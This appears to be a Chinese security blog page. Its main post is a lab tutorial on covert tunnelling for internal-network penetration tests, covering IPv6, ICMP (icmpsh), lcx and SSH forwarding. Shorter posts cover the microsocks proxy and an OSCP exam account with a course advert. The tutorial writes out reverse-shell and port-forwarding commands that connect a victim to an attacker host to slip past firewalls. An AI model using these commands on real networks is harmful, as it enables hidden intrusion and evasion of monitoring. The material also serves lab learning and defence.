前言最近一直在学如何在渗透测试中隐藏自己的渗透行为,参考了freebuf大佬secur1ty 作者的文章,特意写下了本篇文章隐藏通信隧道技术概述为什么需要?在内网渗透测试中,隐藏通信隧道技术那可是“生存必备技能”。想象一下,内网就像个有超严门禁的小区,各种边界设备和入侵检测装置就是那尽职的保安,啥都想拦。隐藏通信隧道技术就是潜入小区的“秘密通道”,帮我们轻松绕过保安,实现内网和外网间的数据传输。这可是保障渗透测试顺利进行的关键,不然后续的信息收集、漏洞利用啥的都得“凉凉”,这技术学的好,牢饭吃的饱(牢饭也很香)常见隧道网络层:IPV6隧道、ICMP隧道传输层:TCP隧道、UDP隧道、端口转发应用层:SSH隧道、HTTP(S)隧道、DNS隧道接下来将从三种隧道中各选集中进行试验常见隧道分类及工具网络层IPV6 隧道工具:6tunnel(kali自带)目标机:winserver 10,需先开启IPV6并查看地址。攻击机操作:使用6tunnel命令将目标机的80端口(IPV6地址)转发到本机80端口(IPV4地址),实现访问本机80端口即可访问目标机web服务首先我们需要打开目标机器的ipv6(在目标没有开启的情况下)那么我们关闭之后看看区别这里只是看看效果奥,还是需要重新打开的,下面是我的ipv6地址fe80::bc82:bd9c:bf05:15fe%6随后我们在80端口开启一个http服务用于模拟web应用程序python3 -m http.serverkali安装6tunnelapt install 6tunnel之后我们需要先关闭目标机器的防火墙查看我们的kali的网卡名称,与目标的ipv6地址进行拼接,注意区分那个百分号前后内容,这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口尚(本机使用IPV4地址)6tunnel -4 80 fe80::bc82:bd9c:bf05:15fe%eth0 80完整命令如下,转发成功后,访问我们的目标机器以及kaili的80端口,发现显示的结果是一样的,这时候就已经转发成功了ICMP隧道相关学习文章:【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS通常来说,两台主机通信时,必须开启特定端口,像SSH用22端口、RDP用3389端口。但要是用上ICMP隧道,那可就省事多了,根本不需要开放其他端口。ICMP隧道简单又实用。在渗透测试里,要是防火墙把HTTP、HTTPS、DNS这些常用协议的数据包都给封了,咱就可以瞅准网管容易忽视的ICMP协议。只要把TCP数据包往ICMP数据包里一装,要是防火墙不对ICMP包拦截,那突破防火墙就成了一件轻松的事。工具1:icmpsh安装:需要先安装python的impacket类库,可以通过apt-get或从github下载源码安装git clone https://gitee.com/WeiyiGeek/icmpshell.git在使用该工具的时候可能会遇到一些错误(kali系统)这个错误,是代码错误,写法不是这样写的,需要修改一下这个run.sh接下来你还会遇到一个错误,那是因为你执行这个py脚本的时候使用的python3,而不是python2,这个工具使用python2写的,所以需要进行修改继续修改这个run.sh,找到这一行由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行sysctl -w net.ipv4.icmp_echo_ignore_all=1随后执行如下命令(建议自行摸索,适合我的不一定适合师傅你们,我搞了一个下午)sudo apt updatesudo apt install python2 -ysudo apt install python2-dev libssl-dev libffi-dev -ycurl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.pysudo python2 get-pip.pypython2 -m pip install --upgrade "pip==20.3"pip2 install "impacket==0.9.24" "pyOpenSSL<=18.0.0" "pyasn1<0.5" "pycryptodomex<=3.4.3"此时就能够正常运行啦,依次输入攻击机IP和受害机IP便会自动输出需要在受害机上的命令(上图的下方绿色框内),命令如下icmpsh.exe -t 192.168.110.128 -d 500 -b 30 -s 128执行上面命令之前需要将icmpsh.exe上传到靶机上(kali:python -m http.server)其次需要配置防火墙出站规则所有端口不允许出网(上不了网,包括内网中tcp也互相访问不了,只能ping通)选择tcp,和所有远程端口阻止连接我们阻止全部的tcp连接,此时也能够正常上线在我们关闭这个tcp的所有端口出站规则后,就怎么也反弹不成功了重新打开防火墙的出站规则页面,我们设置好允许tcp出站,没过一会儿就上线了流量分析结果如下同理使用工具2:pingtunnel,教学如下【内网渗透】ICMP隧道技术,ICMP封装穿透防火墙上线MSF/CS传输层1.端口转发工具:lcx下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip首先kali和靶机都执行如下命令# windows靶机lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389# kali./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555输入正确的用户名和密码,就会显示这个界面,注意连接的是kali的IP和转发后的端口,以此来验证端口转发成功通过端口转发,连接到windows靶机2、内网代理相关的学习文章:vulnerable_docker,三种代理方法打入内网2025最新教程,使用雷池搭建内网靶场,进行简单的WAF绕过雷池+frp内网穿透,搭建企业级内网防护,无需花高额费用买服务器,教科书级别教学内网渗透必备,microsocks,一个轻量级的socks代理工具应用层1、SSH基本上,所有的 Unix/Linux 主机都支持 SSH 协议,而且大家都能用它来通信。在实际场景里,网管们经常靠 SSH 连接远程管理内网主机,所以边界设备一般不会拦 SSH 流量。再说了,SSH 流量是加密的,普通的入侵检测工具很难发现里面有什么异常。这就让渗透测试人员有了机会,能用 SSH 搭起别的隧道很难搞定的 TCP 通信隧道。SSH常见参数-C 压缩传输-f 后台执行SSH-N 建立静默连接-g 允许远程主机连接本地用于转发的端口-L 本地端口转发-R 远程端口转发-D 动态转发-P 指定SSH端口(1).本地转发实验环境:攻击机无法访问靶机内网,可以访问靶机的web,且已获得web服务器的权限,web服务器和内网服务器能互相访问实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开靶机的远程桌面首先在已经连上得kali上执行ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128# 132是靶机,128是kali# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口# 重点如下:# 这样,当你在本地机器上访问攻击机本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口这里输入的是kali的密码,而不是web服务器的密码奥netstat -tulnp | grep "2021" # 进一步验证是否开启了转发功能尝试使用攻击机也就是本机的远程桌面连接kali的7890端口直接连接成功(2).远程转发这节的网络结构可能有所变化,不同的参照物,理解起来也不同,所以特意列出来了(之前攻击机都是kali,靶机是这里的内网服务器,本机是本机)结构如下:kali作为web服务器(模拟公网服务器) 192.168.110.128本机作为攻击机 192.168.110.1内网服务器 192.168.168.132实验环境:攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机实验目标:通过访问攻击机也就是本机的7890端口来访问对方内网服务器的3389端口在web服务器(kali)上执行ssh -CfNg -R 7890:192.168.110.132:3389 kali@192.168.110.128然而这个时候,本机却连不上了,也就是攻击机器,访问不了kali这个web服务器(却获得了kali的web服务器权限,就可以用-R参数)(3).动态转发,SOCKS搭建关于SOCKS的搭建还可以参考我写的这一篇文章:内网渗透必备,microsocks,一个轻量级的socks代理工具ssh -CfNg -D 6000 kali@192.168.110.128我们打开这个插件,如果没有插件的话可以找我这篇文章自取:【渗透测试】16个实用谷歌浏览器插件分享配置好kali的IP地址和ssh开启的端口点击连接kali代理,此时成功配置代理访问百度或者对方的内网靶机2、HTTP / HTTPS隧道这里介绍一种常用的工具 reGeorg ,使用教学:vulnerable_docker,三种代理方法打入内网3、SOCKS代理常见工具:EarthWorm、SocksCap64、ProxyChains至此感谢师傅们愿意花这点时间看完,谢谢!参考:https://longyusec.com/longyushoulu/52/https://longyusec.com/longyushoulu/46/https://longyusec.com/longyushoulu/331/https://www.freebuf.com/articles/network/275436.html相关的学习文章推荐:内网渗透,流量转发Linux内网渗透(2w字超详细)AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker,三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备,microsocks,一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细大型翻车现场,十种WAF绕过姿势,仅成功一种喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透一个永久的渗透知识库
2025年06月14日
1,294 阅读
0 评论
0 点赞
2025-06-03
microsocks,一个轻量级的socks代理工具
MicroSocks 是一款轻量级、高效的 SOCKS5 代理服务器,适用于多种网络代理场景功能特点轻量级设计:MicroSocks 的设计目标是尽可能减少资源消耗,使其在资源受限的环境中也能高效运行。它在服务器中消耗的内存不到 4MB。易于使用:无需配置文件,所有设置都可以通过命令行完成,甚至可以直接启动而无需任何参数。稳健性:在资源耗尽时,MicroSocks 不会崩溃,而是优雅地拒绝新连接,确保服务的稳定性。灵活的认证机制:支持无认证、密码认证和一次性认证,满足不同安全需求。多协议支持:默认支持 IPv4、IPv6 和 DNS,且代码高度可读和可扩展。需要注意的是,MicroSocks 目前只支持 TCP,不支持 UDP。使用场景远程隧道连接:在远程服务器上建立 SOCKS5 代理,以便通过该服务器隧道连接。资源受限环境:适合在资源受限的环境中运行,如廉价的嵌入式设备或路由器。安全代理:通过支持用户/密码认证和一次性认证模式,MicroSocks 可以作为安全代理服务使用,保护网络连接安装与使用# 安装 MicroSockssudo apt updatesudo apt install MicroSocks -y# 启动服务(不需要配置文件)MicroSocks -b 0.0.0.0 -p 1080调用参数简介MicroSocks -1 -i listenip -p port -u user -P password -b bindaddr# all arguments are optional. by default listenip is 0.0.0.0 and port 1080.# option -1 activates auth_once mode: once a specific ip address authed successfully with user/pass, it is added to a whitelist and may use the proxy without auth. this is handy for programs like firefox that don't support user/pass auth. for it to work you'd basically make one connection with another program that supports it, and then you can use firefox too.后台挂起运行,并将日志文件记录nohup MicroSocks -p 8888 -u user -P pwd > microsocks.log &案例请勿用于非法用途,造成后果自行承担往期推荐渗透测试入门,你需要了解的东西(2w字)内网渗透,流量转发Sqlserver SQL注入,超详细SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝【WAF 剖析】10 种 XSS 绕过姿势,以及思路分析SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
2025年06月03日
1,873 阅读
0 评论
0 点赞
2025-05-20
什么是OSCP国际渗透测试专家中级认证?
一、OSCP认证是什么?首先介绍下OSCP认证,目前安全技术类的证书有很多,像是CEH,Security+,CISSP等等。除了众多侧重于笔试的安全认证,OSCP(Offensive Security Certified Professional) 是为数不多得到国际认可的安全实战类认证。目前在国外受到广泛认可,在台湾、香港等地区也比较流行,国内刚刚起步,拿到认证的还不是很多,主要集中在安全企业和审计公司。官方介绍:https://www.offensive-security.com/information-security-certifications/oscp-offensive-security-certified-professional/OSCP认证,是一个专门针对kali Linux渗透测试培训课程的专业认证。该认证机构声称,OSCP认证是一个区别于所有其它认证的考试,考试全程采取手动操作的方式,而不设笔试环节。认证条件:无考试形式:OSCP的认证考试也是另类的存在,考生拥有24小时的时间(实际是23小时45分钟)去完成考试,具体如何分配时间由考生自己决定。题目是5台主机(随机抽取),目标是攻入并拿到最高权限(ROOT/SYSTEM)。基于难度级别,成功执行的攻击会获得相应的积分。24小时结束之后,你还有24小时去完成并提交考试报告(需要详细说明攻击步骤和里程碑截屏来证明确实攻破并获得相应权限)。考试费用:$800美元(30天实验室访问+认证)当然也有更多时长的实验室访问套餐,详情如下,具体选哪个可根据自身情况自行选择:二、课程内容有哪些?OSCP的整个课程还是比较体系化的,涵盖了渗透测试中的大部分内容,内容包括:被动信息收集、主动信息收集、漏洞扫描、缓冲区溢出、Win32缓冲区溢出攻击、Linux缓冲区溢出漏洞、漏洞利用、文件传输、提权、客户端攻击、WEB应用攻击、密码攻击、端口重定向和隧道、Metasploit框架、免杀、渗透测试实战演练等。整个知识框架还算完整,但其中的web应用攻击和缓冲区溢出部分内容感觉还是不够深入,与国内的教程比起来略显简单。web渗透中并没有各种绕过waf的奇淫巧技,缓冲区溢出部分也没有突破系统的各种防护手段……三、学习方式是怎样?目前官方推荐自学,官方会提供教材(约350页的PDF教材)和教学视频(约8小时的mp4视频)以及为学员提供的交流论坛和在线的lab实验室环境。注册、约定lab时间并付款后,官方会在lab开始那天邮件你教材和视频文件的下载链接,并开通论坛账号及实验环境vpn链接,你就可以学习教程并链接lab环境进行实验练习了。其中注册环节可能会遇到一些坑,这里就不细说,可以参考《OSCP认证教程第一集:注册教程》文章。通过自学教程你会掌握渗透测试中的大部分基本技能,在通过lab环境下的实战靶机练习将理论练习实际会对学习的知识有更深入的理解。其中lab环境下大概有53台靶机,靶机上预置了有漏洞的程序或者服务,你需要通过运用教程里学到的技能来获得服务器的最高控制权,并在靶机里获取proof.txt文件。我在买的是30天的ab实验,然而由于一些个人原因并没有投入大量时间,靶机做了20多台。但基本了解了lab环境和漏洞发现及利用的方法。个人认为做练习只是一方面,掌握方法才是学习的关键,因为漏洞是不断出现的,题目是永远做不完的,只有掌握原理及方法才是关键。当然如果有时间还是要尽量多做些lab的,毕竟是花了钱的哈。四、怎么考试呢?通过30天的lab学习后我约了考试,约考的链接会在之前官方发你的邮件中有。我是lab结束后才开始约考的,约考的时候才发现考试空挡已经排到了3周以后……早知道应该提前把考试时间约好,因为刚做完lab的时候状态是最好的,过个3周有些内容已经开始慢慢忘记……考试是在线进行的,并且有视频监考。具体来说就是你在约定的考试时间会收到官方的邮件,会给你一个考试环境的vpn连接文件,使用方法与lab的一样,并告诉你考试题目的IP地址(一般会是5台目标机器),题目满分是100分,70分通过。考试之前是要进行身份确认的,会通过摄像头进行身份的确认,所以你要准备好护照(为什么是护照呢?因为官方会要求政府颁发的、有照片的、英文的证件,国内符合要求的也只有护照了),身份验证后就可以vpn连接考试环境了。我约的是早上8:00的开始,早早的就起来做好了准备,7:45准时进行身份确认,其中遇到了网络不稳的情况,官方那边一开始一直看不到我这边的摄像头,重启了下家里的路由器就好了(也有小伙伴用4G手机热点开始的,因为部分地区的小区宽带连不上考试环境),然后vpn连接进考试环境,网络还算稳定,忙乎到8:30才算正式开始考试答题。我先选择了一道25分的缓冲区溢出的题目,花了大概2个小时,总算完成了poc的编写,拿到了shell,一看还是system权限,稳稳的拿到了proof.txt。其中遇到了一点小波折就是badchars漏了一个字符的,碰巧shellcode里有用到了这个字符,反复调试了好几遍才发现。不过还好没有ASLR、DEP等机制需要破,所以OSCP里面的漏洞挖掘还是比较基础的,因为真正的挖掘是在OSCE认证里,这也是我下一步要搞定的认证啦。解完这道理就有点饿了,然后和监考说了下休息半小时,吃了点水果。从考试开始不光是有摄像头监控的,我们的电脑屏幕监考也是可以看到的,所以当我们离开摄像头,桌面停止操作的时候是要和监考说一下的。半个小时后回来,在和监考打个招呼,发现监考的昵称换了,估计是几个人轮流监考……监考确认好后继续答题,选了另一个25分机器,很快通过一个web程序漏洞拿到了shell,但是只是user权限,找了很多本地提权的exp都没打成功……思路卡住了,果断换了一道10分的,看分值我以为应该是一个送分的题,结果真的是没那么简单,各种枚举都没发现问题,这时候心里有点慌,想换下一道但有不甘心,重新整理思路,重新扫描分析,折腾到傍晚才通过一个服务漏洞拿到了shell,正在我担心要怎么提权的时候,一看是root权限,顿时心情好了很多。到这里已经做出了两道半题目,算了下应该最少有45分了。在做缓冲区溢出的时候,为了节省时间我同时开了nmap跑其他机器的端口信息,简单看了下剩下2台的信息后实在太困了,和监考说了下,就去睡觉了,我还特意问了下去睡觉的话可不可以关机,监考说没问题,我就关了摄像头和电脑,定了闹钟睡了5个小时。醒来先是看了剩下的2个机器,一个隐蔽的web程序可以拿到shell,不出所料是个use权限,又是提权,搞了好久还是没搞定。剩下1台各种尝试,未果……2台20分的机器,我只拿到10分……算了下分数25+10+10+12.5=57.5,于是回过头来做前面那个25分的提权,各种百度无果,无聊中换成谷歌试试,结果还真有意外出现,找到国外一篇文章,研究了下,改了改利用代码,欧耶,成功拿到了system权限。稳了稳心情,默默的计算了下应该正好70分了,一看时间已经到了早上5:00,还剩将近3个小时,因为担心后面写英文报告会被扣分,所以还是想再拿些分数才放心。想到考试指导上说有一次使用msf的机会,想着应该是哪台机器会用得上,我就纠结了,用在那个提权上还是剩下那台呢?最后选择用在最后那台20分的机器上,各种漏洞自动过了一遍……没结果,后悔没写练习和lab的报告了(提交练习和lab报告会给加5分的)。看了下时间,已经没多少时间了,整理下了截图,并确认了下所有提交的proof.txt,然后和监考确认考试结束。这种24小时的考试真的是精疲力尽,又再次确认了下截图,每个flag的截图都有ipconfig或者ifconfig,关键步骤都有截图……然后就放心的睡觉了,因为还有24小时的时间要写一份英文的报告,这是考试的最后一步,也是我最薄弱的部分,睡醒了按照官方的模板,把握做出来的三个半机器的渗透过程都写了出来,当然是用最简单的语法和单词,主要全依赖了谷歌翻译,全篇都是短句,因为截图比较多,通篇用的最多的就是like this然后下面放上截图。整理完报告发现居然写了60多页,最后做成pdf压缩,上传到官方给的url,再把下载连接发给官方指定邮件。报告发送后24小时内会收到一封时间,告诉你已经收到你的报告,5个工作日内将告诉你开始结果。然后我等了5个工作日,在第6个工作日的上午收到了邮件:五、考试难不难?个人认为OSCP还是模拟实战渗透的,不像那些CTF需要各种脑洞大开。如果你在工作中就是做渗透测试的,那应该算是中等难度,如果是初学者,我建议还是需要认真的学完教程,并在lab环境中拿到30台以上的靶机。缓冲区溢出部分难度不大,教程和考试都是属于比较基础的难度。对于我个人来说,提权比较头疼,因为考试之前我也做了准备,网上找了各种提权一条龙的工具包,考试的时候用了发现就是一条虫啊,派的上用场的不多,所这部分还是要多积累,多做练习。总体上来说难度适中,毕竟70分就可以通过。六、备考有什么建议?a.学好英文很重要。不管是报告还是网上查资料,都需要英文的读写能力,如果英文好会有很大帮助。(虽然后来我也有和官方沟通,对于非英语母语的考生报告里的语法和单词错误是不会扣分的。)b.学习的时候要做笔记。考试的时候由于紧张会很容易手忙脚乱,所以提前做好学习笔记很重要,没有思路的时候可以看下笔记也许就有新的发现。c.练习和lab报告。在lab练习期间最好把练习和lab中靶机的渗透过程写成报告,官方说提交练习和lab靶机10台不同漏洞利用的报告会在最终考试成绩上加5分,虽然分数不多,但在关键时候就是救命稻草了。d.多交流。官方也有交流的渠道,如论坛、IRC,当然需要英文沟通了,所以我在这方面就……你们多努力吧。七、哪些好的资料可以分享?我在学习和备考的时候参考的一些不错的资源,汇总如下:注册指南:《OSCP认证教程第一集:注册教程》Linux提权指南:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/Windows提权辅助脚本:https://github.com/pentestmonkey/windows-privesc-check模拟练习平台(跟Lab环境类似):vulnhub、hacktheboxbadchars工具:https://github.com/mgeeky/expdevBadChars还有就是github上可以搜索“OSCP”找到很多资源,但是每个人的基础不一样,别人总结的不一定适合你,建议大家还是多多总结多多交流。——本文转载自freebuf作者:安全圈套的套哥如果有师傅们想要考取这个认证,并且无从下手,或者没有信心,我们提供一对一的专家咨询,以及我们的OSCP培训课程3999元的限时优惠价,在校生立减500元,也就是3499元既可以获得7年红队,OSEP国际渗透测试专家高级认证的一对一教学服务
2025年05月20日
1,250 阅读
0 评论
0 点赞
1
...
14
15
16
...
35